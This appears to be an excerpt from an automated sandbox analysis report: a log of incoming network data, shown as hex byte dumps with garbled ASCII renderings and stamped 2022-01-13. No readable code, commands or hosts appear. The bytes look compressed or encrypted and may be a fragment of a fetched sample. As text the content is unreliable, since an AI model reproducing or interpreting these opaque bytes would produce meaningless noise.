89 ca 73 b7 8b 8a 79 65 c5 62 c2 6b 2c e5 53 7b 93 ca cc 95 40 aa dc 90 db 17 b0 f6 66 6a 27 c3 30 7c 51 1d ea 2c 16 12 
90 45 41 e4 ff 1d d1 22 4e c1 dd 68 62 8e 1a a5 aa 50 8e 13 4e 6b 7a e3 c9 2c 7f b7 2c 03 39 8b 32 e4 9d 86 1d f6 30 a5 
93 59 3d 77 37 e6 49 fb 71 cb 90 33 48 e7 cc 
Data Ascii: CjYN+uUh1wK~?#-^;(8z$Mt!(,g4 >[~<A=4q2'3POJjsAY@T'u(5"A"syebk,S{@fj'0|Q,EA"NhbPNkz,,920Y=w7Iq3H

2022-01-13 21:05:25 UTC 1393 IN Data Raw: 6d d8 ee 76 81 ba e0 73 0d d3 69 9b d3 81 93 74 1e d9 d9 c8 06 d6 27 1a a1 c2 14 2a b4 5b 70 34 3b ad 39 96 
12 2d e6 a2 d1 51 29 26 de ee bb 8b cb b3 93 cf bb 67 a7 97 e7 67 c7 c7 18 51 8a c2 e3 d1 36 93 2c a4 8d 71 bc da 92 9c 
02 08 00 42 65 55 15 b4 54 2d 2f 91 bf 70 3f 7d 58 40 54 a0 33 16 69 c5 5e 62 68 b2 cc a9 d1 da bd aa 36 97 67 5c 87 c9 
bc 19 4b af 52 44 b6 91 8b 0b 94 e3 b5 ed 44 cb 6a de 96 36 59 19 05 b7 c0 78 6e 42 fe 85 44 d4 cd 04 a5 9e 80 db e7 14 
86 5f 64 92 76 4b 29 a4 71 1a ee 5e 15 1a 97 77 37 13 84 14 58 06 a9 44 65 3e b8 c2 b7 e7 3d df 8b f0 d2 47 51 94 34 5f 
9b e8 83 46 56 02 07 a5 85 72 1f ac 93 ad 5c aa c7 1e e0 5b f1 66 0c 04 9f 51 3e 6d d9 7f 21 8f d4 b2 a7 c0 0c a7 ee b4 
de 0f 06 8e 07 65 53 25 21 03 d4 88 2f 55 01 55 9a 4a 8c 
Data Ascii: mvsit'*[p4;9-Q)&ggQ6,qBeUT-/p?}X@T3i^bh6g\KRDDj6YxnBD_dvK)q^w7XDe>=GQ4_FVr\[fQ>m!eS%!/UUJ

2022-01-13 21:05:25 UTC 1395 IN Data Raw: 4b 58 50 9f cb 93 4a c7 10 f5 02 49 3a 03 86 b6 4c d9 68 44 44 93 62 80 92 41 eb cd 12 ea 47 68 10 04 32 31 
32 eb ee 86 43 a4 66 38 88 05 4b 20 87 3c fc ba a5 2b e0 8e 6f 28 b2 77 c7 8f d6 9a c4 c5 66 dd d1 bc 9f ec b2 d6 fb 3d 
90 45 23 e2 51 a2 b5 67 e5 d7 db f3 a4 c7 af ab 5e 90 2c a5 dc 1d 99 8c 03 42 3f 06 b4 33 8c ef 38 af 04 1a 1f 84 df 8c 22 
e0 11 c3 61 6f 80 72 a0 1f 55 a5 ef 93 a2 fb 02 be 70 9c ce e0 ca 88 46 df 00 52 d0 94 fa 04 a3 7d f8 67 e4 64 54 6f 4f d3 
f4 3b 2a 36 0c f5 6b 59 05 7c 01 9d 40 7b 19 45 35 5c b7 90 db 7c 73 a3 02 2d 17 e7 f6 d8 94 2b b7 86 74 4d 62 83 10 a6 
71 8f 00 1e 6a 48 8a 8e 30 0b 72 88 3d d6 84 fd 01 6c da 8a 8a 78 82 00 74 b3 44 6f fd 39 9b c1 69 c7 70 c9 64 6c ba 3b 
5c 06 3b 8a 64 8e 30 7a 4b 26 fe ad cf c8 03 ce a0 
Data Ascii: KXPJI:LhDDbAGh212Cf8K <+o(wf=E#Qg^,B?38"aorUpFR}gdToO;*6kY|@{E5\|s-+tMbqjH0r=lxtDo9ipdl;\;d0zK&

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1396 IN Data Raw: 6e e0 47 76 db 4d 5b 09 30 bb 49 fa ee fc 68 77 34 18 8f 86 40 8f d9 08 2e e3 3e 1a 4d 3f fd 7b fd 69 c7 b5 6a 
28 62 c2 30 16 8b 85 fb 57 c5 dc f2 cb 24 f4 a5 e5 bb 1a 36 46 aa 6a fc 41 3e c7 8a 4c c9 a3 af ab 6a 2d 8b 90 6b e3 8f e4 
e1 21 f9 23 46 33 92 58 90 b9 96 c5 e3 4e 8d f8 b0 30 1f a4 86 c2 e0 4a 96 c2 c4 57 30 31 85 ab 0a 62 e7 1a 6d ee af 9a 
d7 3e fe 13 44 ad b8 15 af c3 ea af 47 5e e4 29 06 3f 04 d4 bb 6e 63 8d 16 8c 63 5d 84 52 74 38 82 a0 fb a1 0c 87 30 d0 
ed e9 34 bc 03 48 a7 bf 78 fb c9 ed 44 17 f1 e4 65 24 b7 33 81 ed fc 80 94 9b 88 cc 15 5d 25 d7 68 fa c4 57 be 50 1f 22 f5 
44 57 79 b8 6e 5b 78 9f 44 18 b3 12 76 7c 1d d8 e5 e2 f6 c8 8e 28 42 b5 fb 71 19 99 41 f0 15 53 94 2c 1c 40 ec e2 a6 6b 
01 8b 22 11 c0 66 0d ed 35 3e 15 77 35 0a 3e 4e 
Data Ascii: nGvM[0Ihw4@.>M?{ij(b0W$6FjA>Lj-k!#F3XN0JW01bm>DG^)?ncc]Rt804HxDe$3]%hWP"DWyn[xDv|(BqAS,@
k"f5>w5>N

2022-01-13 21:05:25 UTC 1397 IN Data Raw: e6 73 27 07 e1 e6 af 0e 14 97 ca 16 ee ca 2d 10 a7 57 bf 00 e3 d8 fa cf 35 7c 77 c8 8f 2d 0f 1f fa e2 01 7f 4f c4 
6f aa 35 42 8a 16 fe f6 8a 4b 2e 6e 5d e9 6e a9 85 79 08 d9 46 53 92 3d ab ab d1 c2 cd 0a 73 a2 d4 36 a1 0a 0b 45 bb 8c 
c4 19 80 fb 7b 66 b4 55 75 71 32 d0 9f ae 62 db a2 2a 8a 91 1c aa d0 e3 60 5a 71 41 1c 0c 85 e0 d0 9a 03 ee 6b f7 86 69 
62 e5 da 1c 13 dc df a4 77 59 2d 9c a6 b5 bc aa ae bc 94 e4 86 88 9e 07 1c dc be e1 37 5d c1 40 49 4c 0f bc 93 8b dc 6b 
72 ed 9b fc 57 db 69 21 bb c7 81 57 85 1b 21 fc 94 ae 0c a8 7c 0b 7a 53 43 c6 64 46 66 cb 04 96 31 c2 f7 74 49 c8 04 9d 
15 76 51 55 16 7b 27 44 a8 5f 24 d1 68 50 3c 1d a9 b1 8b 85 61 03 7b de 85 2e 9a 4c a3 0e 54 18 e4 09 61 c6 7a d0 d4 
c7 90 a7 20 32 36 45 8d c0 f8 aa 8c d9 90 87 97 91 d4 
Data Ascii: s'-W5|w-Oo5BK.n]nyFS=s6E{fUuq2b*`ZqAkibwY-7]@ILkrWi!W!|zSCdFf1tIvQU{'D_$hP<a{.LTaz 26E

2022-01-13 21:05:25 UTC 1398 IN Data Raw: d6 2c b6 8c 3b 1d cd 76 47 c3 76 af 33 9f 12 1f 3d 10 49 df 94 b9 d7 82 91 d6 c4 b9 5f a0 89 a7 36 02 d8 1a 3d 
a6 08 a5 2b 86 3b c3 06 12 08 fe fc a7 76 0c fc 36 16 b6 d7 31 c9 17 92 81 12 25 b0 64 81 a3 01 d3 fd 29 d9 54 31 ed 3e 
ea ec 2f 66 a3 29 0c fd ca 4a d2 68 0e 30 37 ea 64 d6 35 e7 57 88 82 1e 06 26 9c 8d de 01 32 92 d4 08 89 a5 1f e9 20 1e 
0d b3 51 3f b5 50 20 69 b5 43 e0 09 48 5e 6e 50 1b 30 41 7d 88 37 fa 10 8b 9b db af b8 bb e5 01 b7 f7 25 d9 ef ae 36 c9 
dc 3b ac 1f c5 a6 9e 48 64 a7 09 39 d2 97 48 53 93 f7 20 ca d1 4e 41 ff 6a 95 29 f7 95 f6 b5 86 73 ed e3 b7 d0 1a 97 4f 33 
3c a8 b4 23 c8 00 7c 41 9f 08 72 12 d8 f2 c4 9a 08 c0 e1 33 26 ca 38 cf ae 1e 36 7b 53 55 c7 40 30 3f aa dd 54 b5 61 e7 
1e a9 2c 13 93 c8 da bc 59 15 f5 65 2c bd fd 32 9f 
Data Ascii: ,;vGv3=I_6=+;v61%d)T1>/f)Jh07d5W&2 Q?P iCH^nP0A}7%6;Hd9HS NAj)sO3<#|Ar3&86{SU@0?Ta,Ye,2

2022-01-13 21:05:25 UTC 1400 IN Data Raw: 5f bf 7e 2d 76 0a dc 5b 3a 4c c2 e9 d3 2f 5b 16 5a 4a b8 1f 7e aa 19 06 01 83 e5 c8 78 50 d0 ec 63 b9 d9 30 
9d 7d 1d 4d 6f 67 d3 10 ef a7 b0 5f 9e 4f d8 1f 77 c3 7f 32 29 5a e1 4f 45 98 96 7e ed 71 1e 72 2e 6e 51 54 06 60 04 59 c5 
ce f6 8d 71 60 09 26 48 66 4b b8 18 c8 8d b9 08 a5 49 79 2f 96 39 c5 be b5 f5 b0 76 d4 a3 c8 2b 16 26 7a 78 3b 7a 23 72 
8c bd d6 02 df b5 f9 4d 7b e1 3e a9 d2 af 5b 70 df 40 4f 2d b4 ae 0f 31 2e dc b7 36 49 ff f1 87 6e 36 f3 49 27 69 0e 92 65 
d2 a2 8b 41 a1 2a 39 74 2c ad 1d 16 6a 0f d2 69 c1 33 6e 55 4c 08 59 e7 d7 4a 35 f0 1a 6d 5a 5f 03 39 ba 2a 56 02 5f 87 
2a fa 77 98 d0 6c 1c bf f0 56 f5 65 56 13 a9 a9 b3 aa 43 a3 12 c7 dd c8 ad c9 13 60 d0 21 94 c0 5b df 15 3f 14 fe 5d b8 69 
56 45 da 46 19 f4 8f 16 42 dd 22 de d3 f3 5e c4 
Data Ascii: _~-v[:L/[ZJ~xPc0}Mog_Ow2)ZOE~qr.nQT`Yq`&HfKIy/9v+&zx;z#rM{>[p@O-1.6In6I'ieA*9t,ji3nULYJ5
mZ_9*V_*wlVeVC`![?]iVEFB"^

2022-01-13 21:05:25 UTC 1401 IN Data Raw: a5 d7 80 ed 35 eb ff 2c a3 b8 a4 e8 3c b0 70 e7 45 08 56 06 85 e8 e6 c8 11 d6 32 2d 84 34 3e b2 01 1a a1 00 
85 1f 31 43 39 5d 36 2d 86 f2 9b 4c de d0 09 60 43 8c 10 2d 40 16 7e 02 2a 67 e5 ad f8 9d 07 e7 e4 02 1d cf 43 c9 fb 0e 
da 80 3c 86 ff d4 c7 51 62 c6 89 7a 32 bb f8 c9 42 af da 65 88 b1 77 a5 fd 1f 46 d1 5f 28 37 4f 0c 52 81 bb c4 6f e0 09 6d 
29 e1 cc b2 e9 60 1f 16 04 05 b6 d9 12 b4 6a 64 2e 52 d9 b9 bb d2 a5 fa 5b 05 fe 6f db ab 5f 60 b9 3f b6 6d e9 cf fb a1 4d 
b9 aa 2e db 42 63 f7 35 43 4b 9f 87 07 3b 21 ab 00 87 ec 7e d8 79 0b 9a 64 18 15 59 a0 ec 6a 9c de cf 44 c0 18 4d 25 0c 
d0 b0 b9 ff cc 51 c8 5d e0 7a 95 c8 d0 fd 6a 9e 9d 38 b2 ef cf 3d 34 8e 27 bd 9a 77 13 51 c4 45 86 49 a2 f2 3d f4 18 94 09 
e8 43 3d 47 a4 e3 1e c5 58 82 5c cd b7 a5 d7 86 
Data Ascii: 5,<pEV2-4>1C9]6-L`C-@~*gC<Qbz2BewF_(7ORom)`jd.R[o_`?mM.Bc5CK;!~ydYjDM%Q]zj8=4'wQEI=C=GX\

2022-01-13 21:05:25 UTC 1402 IN Data Raw: ac a6 a7 43 27 1c 30 ea d1 c0 c7 7f 98 9b c4 b9 ab 90 e7 3a 31 c9 17 75 70 1f 0d bc 74 a1 2e 6e f1 f9 4d 63 4a 
8d dc 19 49 ef c1 38 6c 29 9e 2c 3e 93 c7 59 e9 02 31 7c 89 17 ee 69 46 b3 7e 95 95 83 e3 12 99 7a a2 9b 7e 84 ec 6b 86 
57 32 12 e2 c7 3a 9e 2a 3b bd f2 d5 7e 9a 91 84 86 63 f7 ce d8 45 93 07 c2 ae 0e 5d 9e 7c ec 99 a2 5d e2 23 8d 0f 14 9d 
5a 95 73 95 12 d6 b1 85 92 20 40 44 77 82 6b c2 6f 88 22 79 7f 72 d0 6c bc d9 14 82 2c 62 c4 93 f2 f2 51 5d e6 ab 62 38 
95 c6 62 fa 27 06 ed 51 72 fe 2b d8 a3 51 7b 71 07 e4 38 da ec 84 16 fb 9f 0d 02 07 7e 51 44 e5 67 d9 c3 c3 5b 20 2c fd 3f 
e1 87 7d 06 bf dc 3f 33 ca e7 71 ce 5e 52 ac 76 3c cb dc b7 59 01 ca bf d6 05 c1 0f c8 b3 fe d6 0c 0f 97 e3 eb 62 dc 38 49 
86 9f 19 dd 85 cc 83 5c 02 d7 cd 97 d1 59 09 f9 
Data Ascii: C'0:1upt.nMcJI8l),>Y1|iF~z~kW2:*;~cE]|]#Zs @Dwko"yrl,bQ]b8b'Qr+Q{q8~QDg[ ,?}?3q^Rv<Yb8I\Y

2022-01-13 21:05:25 UTC 1404 IN Data Raw: e5 e1 e1 08 ba 10 39 42 e1 e8 00 16 c5 c3 f8 3e d3 32 6c 09 52 9f 3b 15 15 4e 43 0a 4f 2f 76 1f 4d 41 b1 0e be 
01 f4 96 aa a6 33 da 45 57 35 cd 9d c9 94 4a 43 40 4d 9b 5e 2b 82 d5 9d 95 27 94 a7 4b 85 bb 42 bb f6 06 80 37 e8 98 c3 
95 22 fa 4b 29 cf 98 db ad ae 94 e8 95 88 94 16 b0 1f ba 2b 24 69 e0 51 42 13 fc 07 28 c3 e9 ac 40 b9 0f 68 bf 06 d8 d9 
05 6a ee e7 4c 6f 8c cd 7a 02 73 52 88 1a 92 ba a1 b9 0f 85 10 17 f2 7f 29 80 e3 53 4b a8 81 d4 b5 06 07 1b 15 c0 78 be 
8c 4d 19 cf 84 04 df 99 cc a4 65 8e ce 42 8f 1c 5f 11 ee 02 d0 27 4b c0 66 8b ef 5f 1c f4 2a dc 39 2c ff 0d 51 54 bb 4b ae 
b5 37 a8 6d 16 f4 3f ea 9e 23 3a b5 04 44 f3 99 80 94 dc bd 10 7a 68 45 80 d8 98 25 90 c4 a5 e3 a9 aa 39 a1 fe 65 c6 b5 
38 a3 2f f1 51 4f f8 72 99 97 6f c6 4d 0c 96 1c ca 
Data Ascii: 9B>2lR;NCO/vMA3EW5JC@M^+'KB7"K)+$iQB(@hjLozsR)SKxMeB_'Kf_*9,QTK7m?#:DzhE%9e8/QOroM

2022-01-13 21:05:25 UTC 1405 IN Data Raw: f5 e3 56 64 5f 61 9c 4a 8c 9a f2 61 e3 15 ac c2 06 d6 79 87 b1 93 e0 fd 2b a9 b9 bc 87 b1 6f cf 82 6e 62 5f 72 
78 84 8b d8 fe 33 76 95 eb 27 ad 5c ee de f3 f4 26 7b 2a a0 e8 26 a3 78 08 38 ea bd 59 15 5f 1e 2e dc 4e 99 0b 67 2c 86 
e9 c9 2a 6d 13 93 75 0a 11 5f 41 8e a6 e4 18 23 3d 91 c2 75 b4 48 27 17 8b 39 66 8a c1 34 0a a1 9e db 1e be de ad f2 7b 
41 73 41 cd e1 b3 e9 a5 79 e4 fd 8e 5c 74 82 8a 92 41 7e ce f3 ee 4b 91 75 1b c0 ac 18 a2 4e c4 c3 3f 3a 7d bf 7d 7c b4 
f7 79 9b 3c a9 3f ef 9f 9f 9f 9d 5b 41 00 47 ba f1 52 65 7a 3c 98 91 39 ba 18 db 06 a9 d9 51 25 d2 f1 c9 1a d1 3d a8 e6 0e 
d4 40 5e cd aa 5c df 35 97 32 d5 02 7b db 7f 8c 23 3f 9c f9 ec 3f f0 75 66 57 66 c7 c3 ec b8 4d e4 0a 13 a2 b3 ed 3c 52 0c 
00 39 65 e4 25 8b 66 f7 b0 fa 2b 9a 20 b6 94 1e 
Data Ascii: Vd_aJay+onb_rx3v'\&{*&x8Y_.Ng,*mu_A#=uH'9f4{AsAy\tA~KuN?:}}|y<?[AGRez<9Q%=@^\52{#??ufWfM
<R9e%f+ 

2022-01-13 21:05:25 UTC 1406 IN Data Raw: dd bd 37 e2 e5 2d c6 34 a1 7f a1 10 bf 80 93 db a3 d9 ed e1 17 f6 5f bd cd 87 84 4b 73 bc 8f a5 97 3b 54 ba d3 
9b 4e 2d f1 07 4a df 9d 8b ba 30 84 d8 52 3f ae dd 57 3b 85 5e 5e ed 88 9f d7 ee e1 9b 7c 01 0f df e0 37 0f cf df 50 c9 2d 
fa a6 c3 3f 50 f2 0e 96 6f eb 99 bb 62 1d cc a0 0c fe b9 76 8f f6 ce 69 ee e7 63 8b fe 81 92 e3 0b aa c5 df c5 d8 45 47 c7 
e2 27 bc 3c cd 07 17 fd 8e 4d 30 ce c8 d1 b9 e8 a4 17 f6 b1 fe f9 39 16 5e bc a1 c2 db 29 2d 0d 94 bc 3e c9 c7 f8 7a 1b c7
f8 fa ed 47 b1 f2 62 ab 5e bf 55 3b f5 e6 fc af 7c 57 f0 53 6f ce c5 cf 6b f7 f8 0d 0f 03 be ee 5a 17 c7 34 88 e3 4b 06 aa 63 
9c db 31 ce ed e4 f4 32 ef 21 85 d2 93 53 f1 13 de bd 17 3d b4 b1 fc 3d 0e f8 e4 c3 a9 1a de 49 fa 0d c7 77 f2 51 d4 3a 21 
30 82 92 d3 33 b5 e5 50 74 7a 46 13 
Data Ascii: 7-4_Ks;TN-J0R?W;^^|7P-?PobvicEG'<M09^)->zGb^U;|WSokZ4Kc12!S==IwQ:!03PtzF

2022-01-13 21:05:25 UTC 1407 IN Data Raw: 59 f0 d7 cc 3e e4 a3 fa 32 38 5b 5b fb fd 8f 60 e5 cc f9 be 1e 9c e1 c8 1a 2a fe da 61 10 4c b5 8c be a8 d6 00 
7c d3 e1 94 e9 3e d4 07 64 ed a3 3d de 42 6b 31 d7 d3 29 db 72 b4 ab 7a f9 c3 83 40 77 79 56 5b 18 c8 5f 18 89 c2 44 7b 
4e f1 a3 fa 87 b6 0b 43 d3 c7 b5 6f 01 e2 80 99 0c 68 a7 54 2b 42 ca 87 0f 0f 40 cc c0 5f 6a 05 df 1e ac f2 19 6d e6 1d 1c 
aa 26 cd 40 9d 3b f8 26 6c cc b7 7e e1 bb 70 32 27 a2 25 ec 66 83 8c 2b bb 02 38 c4 0d b8 58 de dd dd e3 dd ed 6f 2d ef 
8e 7f eb 88 61 22 4d be fd 34 a0 93 7b d0 1f 85 33 fb bb f3 74 b2 60 6b 16 03 a4 f9 cc bb 2b 04 16 bc 08 52 2e 08 74 9c af 
9d 89 57 32 63 8d 9c 47 52 d5 d5 81 fb e3 9e 0e 64 4f d2 2d a5 b5 91 a2 a7 a5 89 76 f0 3e 08 4b 2a 55 4e d2 9b 9b b5 c2 
f2 7d 18 4b e2 ea 5a 20 9b 0f 33 c0 4b 1f 51 af 
Data Ascii: Y>28[[`*aL|>d=Bk1)rz@wyV[_D{NCohT+B@_jm&@;&l~p2'%f+8Xo-a"M4{3t`k+R.tW2cGRdO-v>K*UN}KZ 3KQ

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1409 IN Data Raw: fb 8f c8 bc 6c be ff 53 e5 2c f6 57 37 de 0b f6 27 8f 90 ca 93 8c ca f9 1f 61 38 8a 55 7f 35 28 af 96 66 ee 65 76 
00 92 e6 5b 16 b4 1d e1 8e 93 0e 84 28 5e d4 e9 23 c9 e5 1b c8 51 c5 cb 8c ec f1 2f 74 71 72 42 66 ef 81 81 a0 0b c6 73 
b0 42 aa fc 65 c5 45 6f af 7f 59 4e 19 de 16 27 a8 cf 0e 5c 6e f0 4f a1 d4 6a 68 7a 2c a5 a6 52 5a 25 a5 37 e2 2f 15 ab 2c 
79 4b a1 f4 61 3d 23 dc 4f 9a 25 2e a5 db b6 60 36 0e 46 f5 ae 0d 0c 43 83 bf e1 a5 06 ea 82 ce 86 d5 b3 e1 55 e3 1a 56 
7f b9 61 a4 70 b3 fe 97 14 4c 4b e4 28 58 a2 e0 40 93 33 b8 e8 f5 80 03 e8 92 6b 47 88 3e 84 e4 e2 d1 6e 5b 42 dc c4 62 
c5 62 4e c1 83 2e a6 76 23 5f 03 f2 5b 59 ec d5 d3 75 a0 4f 01 7a c6 c4 e8 a5 4b ae 07 28 8e f8 ac c3 e4 ee 4c db 46 6b 
85 1a f7 3f 6f f2 ce fa 7f ad c9 20 f2 18 4d 7e 
Data Ascii: lS,W7'a8U5(fev[(^#Q/tqrBfsBeEoYN'\nOjhz,RZ%7/,yKa=#O%.`6FCUVapLK(X@3kG>n[BbbN.v#_[YuOzK(LFk?
o M~

2022-01-13 21:05:25 UTC 1410 IN Data Raw: ac 2d ac 9a 94 44 28 79 91 50 4a e8 e5 80 f0 0d 91 47 06 3a 25 0b 15 2c 25 28 c6 8a c9 0a 67 ee 30 7f 3d a0 
21 48 23 11 03 8d 44 50 38 39 2a 75 84 93 ad a5 d0 bb 31 47 00 10 6b 04 59 4c ad a5 d8 5b 80 81 4d 16 53 32 fb b1 5a 
25 2b 2b 22 1c b0 e4 f1 75 ec 77 b5 81 4c 0e 0e ac 7c d0 a1 11 da 91 4e 04 c9 10 61 0f a3 ab ba 66 e9 1a a0 95 cb 22 38 
70 a8 5d 63 f4 47 f3 3a ed e2 a2 d7 3b fe a0 75 9c 0f 50 e8 fa 43 a5 4f c7 85 e2 d0 fb c8 9b 3b e9 01 a1 8d 12 f3 80 c4 70 
7a 11 94 90 39 2e 29 e6 46 1d 79 c9 41 5b 17 c3 d2 e4 61 11 c7 66 b5 29 87 a5 fe 9a 61 41 6c 74 6d 58 fe 0f 28 8c 07 f2 
a9 20 11 6f 5c eb 8f 12 0e 13 71 57 72 98 e2 99 3b 7e d5 da e8 ff 66 6d 2c a4 17 47 84 63 51 cc 59 23 af 59 22 4c 47 d4 
fa 70 78 c0 d2 6b a4 a2 b6 c4 eb 16 ca bc 11 49 2d 1c 93 
Data Ascii: -D(yPJG:%,%(g0=!H#DP89*u1GkYL[MS2Z%++"uwL|Naf"8p]cG:;uPCO;pz9.)FyA[af)aAltmX( o\qWr;~fm,
GcQY#Y"LGpxkI-

2022-01-13 21:05:25 UTC 1411 IN Data Raw: 40 17 38 1c 28 e2 f3 b8 a4 92 c7 f1 6d c7 c0 f2 94 61 e2 b4 d0 b4 20 6b 8e e2 a4 35 fa 19 e8 e8 b7 5f e5 52 b1 
e8 9e 1e c0 47 c9 3d fd 5c 5e 83 5f df 7f c1 47 c9 55 29 d0 d7 8a 6b ee d6 0e 7c ac bb a7 f8 b1 e1 6e ed c1 c7 a6 db de 
85 8f b7 6e 07 2f be 73 db 3b e5 75 28 dd c2 8f 92 fb 6d 0b 3e d6 dc e3 7d f8 58 77 3f e3 c5 0d b7 fb 19 3e 36 dd 9f 07 f0 
f1 ce 9d ee c2 c7 7b 77 78 5f de 80 72 17 87 f0 51 72 83 07 f8 58 73 bf 6e c1 c7 ba 7b 72 7a 71 b3 7b 7a 79 b2 0d bf 36 dc 
1f f8 b1 e9 6e ef c0 c7 5b f7 78 17 3e de b9 8f 7b f0 f1 de fd fc 0b 3e 3e b8 d3 4f e5 8d 12 74 a1 06 1f 25 77 17 1e 29 ad 
b9 63 78 a4 b4 ee fe c2 8f 0d 37 f8 0c 1f 9b ee 14 7f bd 75 a7 f0 a2 d2 3b f7 27 bc 7d 6d cd ad c3 1b d6 e0 49 b8 b8 b6 e1 
ee 41 f1 b5 f7 6e 0d ef 7d 70 27 50 60 bd 
Data Ascii: @8(ma k5_RG=\^_GU)k|nn/s;u(m>}Xw?>6{wx_rQrXsn{rzq{zy6n[x>{>>Ot%w)cx7u;'}mIAn}p'P`

2022-01-13 21:05:25 UTC 1412 IN Data Raw: f4 51 23 c3 40 81 e4 71 4f 54 4f 44 73 85 fe 3d bc 11 86 42 c2 dc 7e 0b bd 38 59 ac 2b 2b 3f 47 92 6a e0 f9 17 
89 b8 23 8c fe 99 b9 fe 38 85 a0 23 1f 5a 42 97 2d d5 22 81 3d ad b5 88 08 a2 fc fa 2d d4 32 0d 05 e3 2c a7 84 cf 2a 55 8f 
4c dc d5 f4 80 e1 08 c6 2f 64 8c 32 b1 c1 74 18 ab 8a 5c 3e 57 f5 eb 8a 8f 70 d7 c9 6f b4 25 f3 0b 56 56 64 5e b4 70 4c f5 
91 b7 c1 6a e9 63 03 bd 2a fd ab c6 35 62 96 03 07 4d a3 41 4e f9 c4 72 fe 31 02 f2 2d 1b 8e 79 20 96 b0 a0 4b cf 21 b4 
ba cc 7a a8 41 6b 1b fd 48 27 a6 d2 50 ba 8c 4e 50 c6 1a 64 f8 44 2a 5f c7 64 8c 64 1a a7 2b 1f 0d ac d0 05 89 80 2e de 
0b 1d 09 aa b6 0f d7 af 02 e0 97 7f 04 36 b9 11 14 3d 2f 09 69 b2 39 a9 f9 a2 aa 49 86 3f ac 22 50 3a c9 02 c2 c8 32 ce 3d 
64 59 e5 c2 2d 0d 39 61 67 ba 99 91 f7 13 e1 
Data Ascii: Q#@qOTODs=B~8Y++?Gj#8#ZB-"=-2,*UL/d2t\>Wpo%VVd^pLjc*5bMANr1-y K!zAkH'PNPdD*_dd+.6=/i9I?"
P:2=dY-9ag

2022-01-13 21:05:25 UTC 1414 IN Data Raw: b8 02 5c cb a1 ce 7f cb c2 ae 51 90 a2 09 44 41 25 2e 48 ec 76 a4 76 62 cc 03 91 da 64 e6 2e 74 c6 69 b9 01 
77 70 45 db 0c 4a cf 1e 8c 45 56 bd 99 3b 01 96 f0 e6 46 32 85 34 a7 83 9b 7a 97 79 c3 0f 26 6f f8 e7 9f 7f 02 77 78 97 d9 
fb 94 a7 4f 8b df b9 9a 8c af 89 ff 81 cf e4 d9 40 c7 39 86 1a db 4c 06 91 52 27 b8 cc 58 84 79 d5 a9 71 7c 67 53 f2 1c 4b 
be 4a bb d6 62 b5 b3 c4 95 62 91 e2 93 3d 1d 63 d6 9a a9 26 59 a0 9e 02 57 e8 9d a7 5f ad dc 65 b8 a3 1c 2a 71 3b 56 
d0 2e 9c 85 09 8a e5 90 f5 9c 92 fd 4c c9 85 bb c2 49 d6 a8 ef 0a 65 ef 6e 92 1b 92 b0 16 c2 0a e6 d7 de 75 64 28 3d f2 
93 a2 df 15 49 3b b1 1f 70 9c 51 5c 60 56 45 e6 b0 d9 eb 92 60 db 13 da ac af 8d 4b c7 cf ea 83 43 1d 0b c1 af c8 5a 22 
ac e5 38 a4 94 73 33 49 39 03 8d 25 08 8c ed 52 af d4 
Data Ascii: \QDA%.Hvvbd.tiwpEJEV;F24zy&owxO@9LR'Xyq|gSKJbb=c&YW_e*q;V.LIenud(=I;pQ\`VE`KCZ"8s3I9%R

2022-01-13 21:05:25 UTC 1415 IN Data Raw: 65 e6 37 d4 0c d5 a9 24 b6 b0 69 24 5e a2 d9 dd 4d 13 56 41 7b be f6 0b 02 8d b4 13 78 ca 31 4c 18 a3 f6 c6 
44 47 8e fd 7b fb ea ca e2 41 c0 10 13 fe 72 ed 5e 59 1c f1 81 17 f9 1b 5d 8c a7 f7 2d 5e 1a 48 da e1 5e 72 e1 06 f7 92 75 
7d ed b8 fb e9 06 ed 8e 75 57 28 85 26 90 4f 43 6b ec bc 37 48 42 64 2a 43 7b 7f ec ee 02 c3 b6 6f 30 66 71 1a 8c 06 7b 
74 30 b2 a5 27 2f 39 5a bb fb a1 cc b1 71 1c 96 af 2c e1 1b 88 39 f5 ae dd 4e 50 16 03 94 88 d3 82 21 10 04 1a f1 34 32 
6e c5 4a 43 8d 84 d2 68 13 9e a7 ff 49 a3 ae dd a0 57 7e 92 e1 09 98 d3 e6 3f 6c 62 41 54 8d 9e 9f d8 5c a3 b5 98 c6 6a 
ae db 54 25 db 74 8e 1b 9a d3 f6 32 d6 66 e9 63 ca 39 03 9f c4 03 e5 c0 d5 fa f5 fa ce 44 18 2f 9e a4 76 e9 0e 17 cf 69 a1 
48 2f cf c5 49 6b d8 5c 3c d8 c6 5c b3 18 e2 a0 87 
Data Ascii: e7$i$^MVA{x1LDG{Ar^Y]-^H^ru}uW(&OCk7HBd*C{o0fq{t0'/9Zq,9NP!42nJChIW~?lbAT\jT%t2fc9D/viH/Ik\<\

2022-01-13 21:05:25 UTC 1416 IN Data Raw: 2e 18 72 54 96 97 35 e7 77 35 26 33 58 ff 79 75 de 45 e9 75 ed 67 e8 ed 4f 23 32 29 8f bd a9 c9 08 0e a5 40 
05 f2 77 21 55 29 39 33 ee f2 5a 40 c3 9a 54 da be cf 99 05 a1 d7 d5 75 ce d4 1b a9 76 66 15 d6 7b 09 51 f8 35 ab 8e a7 
43 5f a6 d9 6c e3 dc 61 f4 28 97 a3 e4 dc e8 d0 55 91 6a fb 8e b7 59 f9 49 e6 fe 3f c6 a4 a3 fc 99 76 75 6e 90 df 30 11 70 
ac ea 44 3b 2f 1d fe cd b1 60 d8 24 63 10 e9 95 39 c0 10 62 e0 08 26 2a bb 66 b6 e4 28 c9 31 a0 fc 0b 82 19 49 16 a2 ec 
8f bc 51 92 83 0a ad 7d a7 06 4f 
Data Ascii: .rT5w5&3XyuEugO#2)@w!U)93Z@Tuvf{Q5C_la(UjYI?vun0pD;/`$c9b&*f(1IQ}O

2022-01-13 21:05:25 UTC 1416 IN Data Raw: 6b a9 bc 44 05 e1 f7 1f 62 5f 67 e6 3e c8 9e d1 89 92 3c 49 2e f2 aa 46 a9 d7 e0 e1 41 7c 4f 5a 47 9e 1a b3 51 
f6 e5 35 0c 98 b6 c5 c1 f3 fc cc 3b 4f 7c b6 ab fe 84 eb e1 0d 3f 65 33 80 51 e5 d4 a8 52 3e 2f d4 9b fe 24 9b 0a bd 99 cf 
d0 d7 c8 55 c7 2f 7c 05 81 65 79 79 c3 f3 82 09 49 32 08 7b 59 38 c4 17 07 ac ad b9 44 3f 03 eb a8 07 9d 94 b4 84 89 c0 
